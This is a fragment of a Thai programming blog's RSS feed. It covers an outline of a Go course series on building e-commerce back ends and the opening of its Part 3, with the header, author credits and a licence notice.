&#xE1C;&#xE39;&#xE49;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE22;&#xE34;&#xE48;&#xE07;&#xE27;&#xE48;&#xE32;&#xE17;&#xE48;&#xE32;&#xE19;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE14;&#xE49;&#xE27;&#xE22;&#xE20;&#xE32;&#xE29;&#xE32; Go &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; Back End &#xE02;&#xE2D;&#xE07; E-commerce Platform &#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19; Part &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p><strong>Part 1</strong><br>&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Go &#xE44;&#xE27;&#xE22;&#xE32;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; &#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE41;&#xE25;&#xE30;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; if-else &#xE41;&#xE25;&#xE30; Loop &#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Function</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE02;&#xE2D;&#xE07; Go &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE47;&#xE19; First-Class Citizen Function &#xE0B;&#xE36;&#xE48;&#xE07;&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Anonymous Function, Closure &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Function &#xE40;&#xE1B;&#xE47;&#xE19; Parameter</p><p><strong>Part 2</strong><br>&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE25;&#xE36;&#xE01;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE25;&#xE30;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; Back End &#xE02;&#xE2D;&#xE07; E-commerce Platform &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; Array, Slice &#xE41;&#xE25;&#xE30; Map &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Pointer &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Struct &#xE41;&#xE25;&#xE30; Method &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Interface &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Package &#xE41;&#xE25;&#xE30; Module</p><p>&#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE41;&#xE25;&#xE30;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1F;&#xE35;&#xE40;&#xE08;&#xE2D;&#xE23;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE02;&#xE2D;&#xE07; Go &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; defer, panic &#xE41;&#xE25;&#xE30; recover &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07; &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Table-Driven Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Code &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><p><strong>Part 3</strong><br>&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE25;&#xE36;&#xE01;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; File &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Concurrent &#xE14;&#xE49;&#xE27;&#xE22; Goroutine &#xE41;&#xE25;&#xE30; Channel &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30; Context &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; Back End &#xE02;&#xE2D;&#xE07; E-commerce Platform</p><p>&#xE42;&#xE14;&#xE22;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; File &#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Goroutine &#xE41;&#xE25;&#xE30; Channel &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30; Timezone &#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Context &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Function &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE32;&#xE19;</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30; Context &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; UTC &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE27;&#xE25;&#xE32; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; ISO 8601 Format &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE48;&#xE32;&#xE19; API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Context &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;</p><p><strong>Part 4</strong><br>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE41;&#xE25;&#xE30; Docker Container &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE04;&#xE23;&#xE1A;&#xE27;&#xE07;&#xE08;&#xE23; &#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; Environment Variable &#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE14;&#xE49;&#xE27;&#xE22; Gin Framework &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; PostgreSQL Database &#xE41;&#xE25;&#xE30; Connection Pooling &#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Mock Object &#xE44;&#xE1B;&#xE08;&#xE19;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23; Deploy &#xE14;&#xE49;&#xE27;&#xE22; Docker Container</p><p>&#xE42;&#xE14;&#xE22;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Code &#xE41;&#xE25;&#xE30;&#xE04;&#xE33;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Business Logic &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; HTTP Request/Response &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Docker &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; Dependency Injection &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Interface &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE14;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Module &#xE41;&#xE25;&#xE30;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE40;&#xE0A;&#xE48;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Versioning</p><p>&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE21;&#xE37;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE49;&#xE32;&#xE17;&#xE32;&#xE22;&#xE43;&#xE19;&#xE42;&#xE25;&#xE01;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE22;&#xE38;&#xE04;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE22;&#xE31;&#xE07;</p>]]></content:encoded></item><item><title><![CDATA[Mastering Golang for E-commerce Back End Development : Part 3]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/json.jpg" class="kg-image" alt loading="lazy" width="2000" height="1595" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/json.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/json.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/json.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/json.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</em></em></p>]]></description><link>https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development-part-3/</link><guid isPermaLink="false">66ab5a8f0325e40001ec2170</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Sun, 11 Aug 2024 05:28:00 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/json.jpg" class="kg-image" alt loading="lazy" width="2000" height="1595" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/json.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/json.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/json.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/json.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><!--kg-card-begin: html--><hr>
<div align="center"><a href="https://creativecommons.org/licenses/by-nc-nd/4.0/?ref=blog.pjjop.org">This Article on Mastering Golang for E-commerce Back End Development : Part 3, licensed under CC BY-NC-ND</a>
</div>
<hr><!--kg-card-end: html--><p>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE25;&#xE30;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE32;&#xE28;&#xE31;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE25;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE25;&#xE36;&#xE01;&#xE0B;&#xE36;&#xE49;&#xE07; 